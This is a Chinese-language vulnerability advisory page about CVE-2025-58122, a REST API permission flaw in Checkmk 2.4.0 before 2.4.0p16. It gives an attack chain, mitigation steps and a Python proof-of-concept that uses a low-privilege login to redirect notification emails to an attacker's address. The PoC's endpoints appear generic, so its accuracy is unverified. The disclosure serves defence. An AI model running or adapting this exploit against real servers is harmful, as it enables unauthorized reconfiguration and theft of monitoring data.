IPBUF安全漏洞报告
English
CVE-2025-58122 CVSS 5.4 中危

CVE-2025-58122 Checkmk权限验证不足漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-58122
漏洞类型
权限绕过/访问控制
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Checkmk 2.4.0

相关标签

权限验证不足访问控制REST APICheckmkCVE-2025-58122中危漏洞信息泄露未授权访问

漏洞概述

CVE-2025-58122是Checkmk监控软件中的一个权限验证不足漏洞。该漏洞存在于Checkmk 2.4.0版本中,在2.4.0p16之前的版本均受影响。漏洞的根本原因是系统对REST API端点的权限验证不充分,允许低权限用户通过REST API接口修改通知参数(notification parameters)。攻击者利用此漏洞可以在不需要高权限的情况下,修改系统通知配置,可能导致未授权的操作执行或敏感信息泄露。低权限用户原本应被限制在特定的操作范围内,但由于权限验证逻辑存在缺陷,他们能够访问和修改本应仅限管理员操作的API端点。这不仅破坏了系统的访问控制模型,还可能成为进一步攻击的跳板,例如通过修改通知配置来窃取敏感监控数据或执行恶意操作。

技术细节

该漏洞属于Broken Access Control(访问控制失效)类型,具体表现为CWE-284(不充分的权限验证)。漏洞存在于Checkmk的REST API组件中,当低权限用户通过API发送修改通知参数的请求时,系统未能正确验证用户是否具有相应的修改权限。攻击者可以通过构造特定的REST API请求,将HTTP方法设置为修改操作(如PUT或POST),并指定目标通知参数。由于服务端仅检查了用户的基本登录状态,而未对操作权限进行细粒度验证,导致低权限用户能够成功修改本应受保护的通知配置。攻击者可能利用此漏洞修改通知脚本路径、通知接收人邮箱或其他通知相关参数,进而可能导致命令注入(如果通知脚本路径可被控制)或信息泄露(通过修改通知目标获取监控数据)。

攻击链分析

STEP 1
1
攻击者获取Checkmk系统的低权限账户(具有基本监控查看权限)
STEP 2
2
攻击者通过REST API登录系统,获取有效的会话Cookie
STEP 3
3
攻击者构造恶意的API请求,尝试修改通知参数(notification parameters)
STEP 4
4
由于系统对REST API端点的权限验证不足,低权限用户的修改请求被系统接受
STEP 5
5
攻击者成功修改通知配置,可能导致信息泄露或未授权操作(如将监控告警重定向到攻击者控制的邮箱)
STEP 6
6
攻击者利用修改后的通知配置获取敏感监控数据或执行进一步的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Checkmk CVE-2025-58122 PoC - Insufficient Permission Validation # This PoC demonstrates how low-privileged users can modify notification parameters import requests import json TARGET_URL = "https://target-checkmk.local" USERNAME = "low_privilege_user" PASSWORD = "user_password" # Login to get session cookie def login(): login_url = f"{TARGET_URL}/api/1.0/login" data = { "username": USERNAME, "password": PASSWORD } headers = { "Accept": "application/json", "Content-Type": "application/json" } response = requests.post(login_url, json=data, headers=headers, verify=False) return response.cookies # Modify notification parameters (exploiting insufficient permission validation) def modify_notification(cookies): # API endpoint for notification configuration notify_url = f"{TARGET_URL}/api/1.0/domain-types/notification_configuration/collections/all" headers = { "Accept": "application/json", "Content-Type": "application/json" } # Malicious payload to modify notification parameters payload = { "notification_method": { "plugin": "email", "parameters": { "recipient_email": "[email protected]", "from_address": "[email protected]" } } } # This request should fail for low-privileged users, but succeeds due to the vulnerability response = requests.put(notify_url, json=payload, headers=headers, cookies=cookies, verify=False) if response.status_code == 200: print("[+] SUCCESS: Notification parameters modified by low-privilege user!") print(f"[+] Response: {response.text}") else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": print("[*] Checkmk CVE-2025-58122 PoC") print("[*] Exploiting insufficient permission validation in REST API") cookies = login() modify_notification(cookies)

影响范围

Checkmk 2.4.0 < 2.4.0p16

防御指南

临时缓解措施
如果无法立即升级,可通过以下措施缓解:1) 限制REST API的访问范围,仅允许管理员IP访问;2) 禁用或限制低权限用户的API写权限;3) 启用API请求审计和告警;4) 使用网络层访问控制限制对API端点的访问;5) 监控并审查所有通知配置的变更记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表